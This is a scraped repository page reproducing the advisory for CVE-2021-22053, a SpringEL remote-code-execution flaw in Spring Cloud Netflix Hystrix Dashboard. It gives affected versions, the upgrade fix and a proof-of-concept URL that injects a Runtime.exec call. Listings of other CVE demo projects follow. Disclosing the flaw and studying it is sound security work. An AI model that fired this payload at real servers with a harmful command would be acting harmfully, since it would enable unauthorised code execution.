Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability CVE-2021-22053

SCSL

Last update: Dec 16, 2022

Overview

CVE-2021-22053: Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability

Severity

High

Vendor

Spring by VMware

Description

Applications using both spring-cloud-netflix-hystrix-dashboard and spring-boot-starter-thymeleaf expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at /hystrix/monitor;[user-provided data], the path elements following hystrix/monitor are being evaluated as SpringEL expressions, which can lead to code execution.

Affected VMware Products and Versions

Severity is high unless otherwise noted.

Spring Cloud Netflix
- 2.2.0.RELEASE to 2.2.9.RELEASE
- Older, unsupported versions are also affected

Mitigation

Users of affected versions should apply the following mitigation: Users should upgrade to 2.2.10.RELEASE+. No other steps are necessary. Releases that have fixed this issue include:

Spring Cloud Netflix
- 2.2.10.RELEASE+

Credit

This vulnerability was identified and responsibly reported by threedr3am of SecCoder Security Lab ([email protected]).

References

https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

History

2021-11-17: Initial vulnerability report published.

POC

raw:

http://127.0.0.1:8080/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("open -a calculator")}__::.x/

encode:

http://127.0.0.1:8080/hystrix/;a=a/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)%7D__::.x/

PS. The diagonal bar'/' cannot be carried in the command

A simple telemetry dashboard for DiRT Rally 2.0

Telemetry Dashboard for DiRT Rally 2.0 (WIP) Displays Current gear Current speed Steering wheel position Throttle, brake and clutch pedals input Engin

Sep 13, 2022

This project was created as a simple example to show how we can implement the hexagonal architecture(software design) proposed by Netflix.

Netflix Hexagonal Architecture Table of contents About the project Description Built with Installation Requirements to run Usage information Run Licen

Dec 20, 2022

Spring Boot Log4j - CVE-2021-44228 Docker Lab

Spring Boot Log4j - CVE-2021-44228 The Log4Shell vulnerability (CVE-2021-44228) ultimately is a quite simple JNDI Injection flaw, but in a really real

Jun 10, 2022

Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell.

Log4Shell sample vulnerable application (CVE-2021-44228) This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nickname

Jan 5, 2023

A spring cloud infrastructure provides various of commonly used cloud components and auto-configurations for high project consistency

A spring cloud infrastructure provides various of commonly used cloud components and auto-configurations for high project consistency.

Feb 8, 2022

Comments

Add gradle-wrapper.jar to repository

Could you please add the gradle-wrapper.jar also to this repository? For an empirical study I am looking for different vulnerable OS projects to evaluate different sec tools. I would like to include your project, but unfortunately I can't execute the scan commands without the gradle-wrapper.jar file. It seems that it was excluded due to your .gitignore Thank you! :)

opened by lorriborri 1

Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability CVE-2021-22053

Related tags

Overview

CVE-2021-22053: Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability

Severity

Vendor

Description

Affected VMware Products and Versions

Mitigation

Credit

References

History

POC

You might also like...

A simple telemetry dashboard for DiRT Rally 2.0

This project was created as a simple example to show how we can implement the hexagonal architecture(software design) proposed by Netflix.

Spring Boot Log4j - CVE-2021-44228 Docker Lab

Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell.

A spring cloud infrastructure provides various of commonly used cloud components and auto-configurations for high project consistency

CVE-2021-2109 && Weblogic Server RCE via JNDI

openam-CVE-2021-35464 tomcat 执行命令回显

Apache Log4j2 CVE-2021-44228 RCE Demo with RMI and LDAP

log4j2 Log4Shell CVE-2021-44228 proof of concept

Comments

Add gradle-wrapper.jar to repository

Owner

SCSL

This project will help to test the Log4j CVE-2021-44228 vulnerability.

Vulnerability CVE-2021-44228 checker

Deploys an agent to fix CVE-2021-44228 (Log4j RCE vulnerability) in a running JVM process

Spring GraphQL examples using Netflix DGS, GraphQL Java and Spring GraphQL

一个涵盖六个专栏：Spring Boot 2.X、Spring Cloud、Spring Cloud Alibaba、Dubbo、分布式消息队列、分布式事务的仓库。希望胖友小手一抖，右上角来个 Star，感恩 1024

Demo microservice architecture with Spring ,Spring Cloud Gateway , Spring Cloud config server , Eureuka , keycloak and Docker.

A high availability shopping(ecommerce) system using SpringBoot, Spring Cloud, Eureka Server, Spring Cloud Gateway, resillience4j, Kafka, Redis and MySQL.

GitactionBoard - Ultimate Dashboard for GithubActions.

The state-of-the-art Dashboard of Apache RoccketMQ provides excellent monitoring capability. Various graphs and statistics of events, performance and system information of clients and application is evidently made available to the user.

This app brings Privacy dashboard features from Android 12 to older android devices.